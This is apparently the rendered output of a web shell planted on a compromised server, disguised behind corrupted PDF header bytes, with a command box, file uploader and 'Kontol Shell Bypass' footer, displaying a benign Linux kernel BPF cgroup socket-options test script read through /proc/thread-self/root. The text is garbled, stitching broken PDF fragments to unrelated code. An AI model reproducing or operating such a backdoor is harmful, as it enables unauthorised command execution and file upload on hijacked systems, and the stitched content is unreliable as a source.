%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/lib/modules/4.15.0-1044-aws/build/samples/bpf/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/lib/modules/4.15.0-1044-aws/build/samples/bpf/test_cgrp2_sock.sh
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0

# Test various socket options that can be set by attaching programs to cgroups.

CGRP_MNT="/tmp/cgroupv2-test_cgrp2_sock"

################################################################################
#
print_result()
{
	local rc=$1
	local status=" OK "

	[ $rc -ne 0 ] && status="FAIL"

	printf "%-50s    [%4s]\n" "$2" "$status"
}

check_sock()
{
	out=$(test_cgrp2_sock)
	echo $out | grep -q "$1"
	if [ $? -ne 0 ]; then
		print_result 1 "IPv4: $2"
		echo "    expected: $1"
		echo "        have: $out"
		rc=1
	else
		print_result 0 "IPv4: $2"
	fi
}

check_sock6()
{
	out=$(test_cgrp2_sock -6)
	echo $out | grep -q "$1"
	if [ $? -ne 0 ]; then
		print_result 1 "IPv6: $2"
		echo "    expected: $1"
		echo "        have: $out"
		rc=1
	else
		print_result 0 "IPv6: $2"
	fi
}

################################################################################
#

cleanup()
{
	echo $$ >> ${CGRP_MNT}/cgroup.procs
	rmdir ${CGRP_MNT}/sockopts
}

cleanup_and_exit()
{
	local rc=$1
	local msg="$2"

	[ -n "$msg" ] && echo "ERROR: $msg"

	ip li del cgrp2_sock
	umount ${CGRP_MNT}

	exit $rc
}


################################################################################
# main

rc=0

ip li add cgrp2_sock type dummy 2>/dev/null

set -e
mkdir -p ${CGRP_MNT}
mount -t cgroup2 none ${CGRP_MNT}
set +e


# make sure we have a known start point
cleanup 2>/dev/null

mkdir -p ${CGRP_MNT}/sockopts
[ $? -ne 0 ] && cleanup_and_exit 1 "Failed to create cgroup hierarchy"


# set pid into cgroup
echo $$ > ${CGRP_MNT}/sockopts/cgroup.procs

# no bpf program attached, so socket should show no settings
check_sock "dev , mark 0, priority 0" "No programs attached"
check_sock6 "dev , mark 0, priority 0" "No programs attached"

# verify device is set
#
test_cgrp2_sock -b cgrp2_sock ${CGRP_MNT}/sockopts
if [ $? -ne 0 ]; then
	cleanup_and_exit 1 "Failed to install program to set device"
fi
check_sock "dev cgrp2_sock, mark 0, priority 0" "Device set"
check_sock6 "dev cgrp2_sock, mark 0, priority 0" "Device set"

# verify mark is set
#
test_cgrp2_sock -m 666 ${CGRP_MNT}/sockopts
if [ $? -ne 0 ]; then
	cleanup_and_exit 1 "Failed to install program to set mark"
fi
check_sock "dev , mark 666, priority 0" "Mark set"
check_sock6 "dev , mark 666, priority 0" "Mark set"

# verify priority is set
#
test_cgrp2_sock -p 123 ${CGRP_MNT}/sockopts
if [ $? -ne 0 ]; then
	cleanup_and_exit 1 "Failed to install program to set priority"
fi
check_sock "dev , mark 0, priority 123" "Priority set"
check_sock6 "dev , mark 0, priority 123" "Priority set"

# all 3 at once
#
test_cgrp2_sock -b cgrp2_sock -m 666 -p 123 ${CGRP_MNT}/sockopts
if [ $? -ne 0 ]; then
	cleanup_and_exit 1 "Failed to install program to set device, mark and priority"
fi
check_sock "dev cgrp2_sock, mark 666, priority 123" "Priority set"
check_sock6 "dev cgrp2_sock, mark 666, priority 123" "Priority set"

cleanup_and_exit $rc

Kontol Shell Bypass